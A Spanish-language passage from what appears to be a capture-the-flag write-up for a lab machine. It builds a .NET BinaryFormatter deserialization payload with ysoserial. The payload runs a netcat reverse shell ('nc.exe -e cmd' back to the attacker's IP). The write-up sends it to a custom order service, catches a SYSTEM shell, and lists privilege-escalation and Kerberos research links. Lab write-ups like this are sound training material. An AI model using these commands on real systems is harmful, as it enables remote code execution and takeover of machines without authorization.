La idea, es que vamos a serializar un comando que va a ejecutar el binario netcat para obtener una sesión, ya que suponemos que el dueño del servidor es el administrador.
Para realizar esto, necesitamos la herramienta ysoserial que puedes descargar desde aquí (solo para usar en Windows)
Tan solo ve a los releases y obtén el comprimido, descomprímelo y abre una cmd en Windows para usar el ysoserial:
Debemos indicarle el gadget (sería WindowsIdentity), la clase de formato (sería BinaryFormatter, el mismo que usa el binario), cómo será el output (sería base64) y, por último, el comando a ejecutar.
Hagamoslo:
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -o base64 -c "C:\Temp\nc.exe -e cmd Tu_IP 443"
AAEAAAD///....
Abre una netcat con rlwrap:
rlwrap nc -nlvp 443
listening on [any] 443 ...
Abre otra netcat apuntando al servidor:
nc 10.10.11.168 4411
SCRAMBLECORP_ORDERS_V1.0.3;
Copia el código resultante en la netcat del servidor, agrégale el comando UPLOAD_ORDER;
y ejecútalo:
nc 10.10.11.168 4411
SCRAMBLECORP_ORDERS_V1.0.3;
UPLOAD_ORDER;AAEAAAD///....
...
...
Aunque te marque un error, el comando sí se ejecutó.
Ve el resultado:
rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.11.168] 61214
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Y listo, ya con esto completamos la máquina.
Si bien podemos usar el JuicyPotatonNG para escalar privilegios siendo el usuario sqlsvc, en mi caso no se pudo.
No sé si porque hayan inhabilitado esta opción o porque no funciona, pero de que se podía, se podía.
Links de Investigación
- https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/silver-ticket
- https://www.hackingarticles.in/domain-persistence-silver-ticket-attack/
- https://learn.microsoft.com/es-es/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver16
- https://github.com/Hackplayers/evil-winrm#Remote-path-completion
- https://github.com/jborean93/omi
- https://github.com/fortra/impacket/blob/master/examples/mssqlclient.py
- https://codebeautify.org/ntlm-hash-generator
- https://github.com/antonioCoco/JuicyPotatoNG?tab=readme-ov-file
- https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/
- https://github.com/pwntester/ysoserial.net
- https://github.com/attackdebris/kerberos_enum_userlists